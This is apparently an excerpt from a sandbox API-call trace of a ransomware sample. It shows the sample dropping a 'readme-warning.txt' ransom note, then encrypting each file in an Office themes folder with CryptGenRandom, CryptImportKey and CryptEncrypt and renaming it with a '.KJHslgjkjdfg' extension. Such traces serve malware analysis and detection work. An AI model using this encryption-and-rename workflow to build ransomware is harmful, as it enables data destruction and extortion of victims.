lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.169] GetProcessHeap () returned 0x2a0000 [0146.169] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.169] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0146.169] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0146.169] GetProcessHeap () returned 0x2a0000 [0146.169] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0146.169] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\readme-warning.txt") returned 83 [0146.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.170] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0146.171] CloseHandle (hObject=0x118) returned 1 [0146.171] GetProcessHeap () returned 0x2a0000 [0146.171] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0146.171] GetProcessHeap () returned 0x2a0000 [0146.171] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0146.171] GetProcessHeap () returned 0x2a0000 [0146.171] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0146.171] GetProcessHeap () returned 0x2a0000 [0146.171] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.172] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0146.172] GetProcessHeap () returned 0x2a0000 [0146.172] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0146.172] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0146.172] GetProcessHeap () returned 0x2a0000 [0146.172] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x92) returned 0x2c7fd8 [0146.172] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0146.173] GetProcessHeap () returned 0x2a0000 [0146.173] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fd8 | out: hHeap=0x2a0000) returned 1 [0146.173] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0146.173] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0146.173] GetProcessHeap () returned 0x2a0000 [0146.173] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x294) returned 0x2f32d0 [0146.174] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.174] GetProcessHeap () returned 0x2a0000 [0146.174] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.174] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.174] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.174] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x6, lpOverlapped=0x0) returned 1 [0146.177] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.177] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.177] GetProcessHeap () returned 0x2a0000 [0146.177] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.177] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.177] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.177] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.177] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.177] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.177] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.177] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.177] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.177] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.177] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.178] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.178] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xeafa, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xeafa, lpOverlapped=0x0) returned 1 [0146.179] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xeb00, dwBufLen=0xeb00 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xeb00) returned 1 [0146.180] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.180] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xeb00, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xeb00, lpOverlapped=0x0) returned 1 [0146.180] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.180] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xebd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.180] SetEndOfFile (hFile=0x118) returned 1 [0146.183] GetProcessHeap () returned 0x2a0000 [0146.183] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.183] GetProcessHeap () returned 0x2a0000 [0146.183] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.184] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm.kjhslgjkjdfg")) returned 1 [0146.184] CloseHandle (hObject=0x118) returned 1 [0146.185] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1 [0146.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.185] GetProcessHeap () returned 0x2a0000 [0146.185] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.185] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.185] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.185] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xc, lpOverlapped=0x0) returned 1 [0146.187] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.187] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.187] GetProcessHeap () returned 0x2a0000 [0146.187] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.187] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.187] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.187] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.187] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.187] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.188] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.188] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.188] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.188] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.188] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.188] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.188] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x254, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x254, lpOverlapped=0x0) returned 1 [0146.188] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x260, dwBufLen=0x260 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x260) returned 1 [0146.188] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.188] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x260, lpOverlapped=0x0) returned 1 [0146.188] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.188] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.189] SetEndOfFile (hFile=0x118) returned 1 [0146.191] GetProcessHeap () returned 0x2a0000 [0146.191] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.191] GetProcessHeap () returned 0x2a0000 [0146.191] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.191] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf.kjhslgjkjdfg")) returned 1 [0146.198] CloseHandle (hObject=0x118) returned 1 [0146.198] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0146.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.198] GetProcessHeap () returned 0x2a0000 [0146.199] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.199] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.199] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.199] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x9, lpOverlapped=0x0) returned 1 [0146.217] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.217] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.217] GetProcessHeap () returned 0x2a0000 [0146.217] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.217] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.217] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.217] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.217] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.217] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.217] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.218] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.218] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.218] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.218] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.218] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.218] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd97, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xd97, lpOverlapped=0x0) returned 1 [0146.218] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xda0, dwBufLen=0xda0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xda0) returned 1 [0146.218] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.218] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xda0, lpOverlapped=0x0) returned 1 [0146.218] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.218] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xe74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.218] SetEndOfFile (hFile=0x118) returned 1 [0146.221] GetProcessHeap () returned 0x2a0000 [0146.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.221] GetProcessHeap () returned 0x2a0000 [0146.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.221] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.kjhslgjkjdfg")) returned 1 [0146.222] CloseHandle (hObject=0x118) returned 1 [0146.222] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0146.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.223] GetProcessHeap () returned 0x2a0000 [0146.223] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.223] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.223] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.223] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x3, lpOverlapped=0x0) returned 1 [0146.226] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.226] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.226] GetProcessHeap () returned 0x2a0000 [0146.226] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.226] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.226] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.226] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, 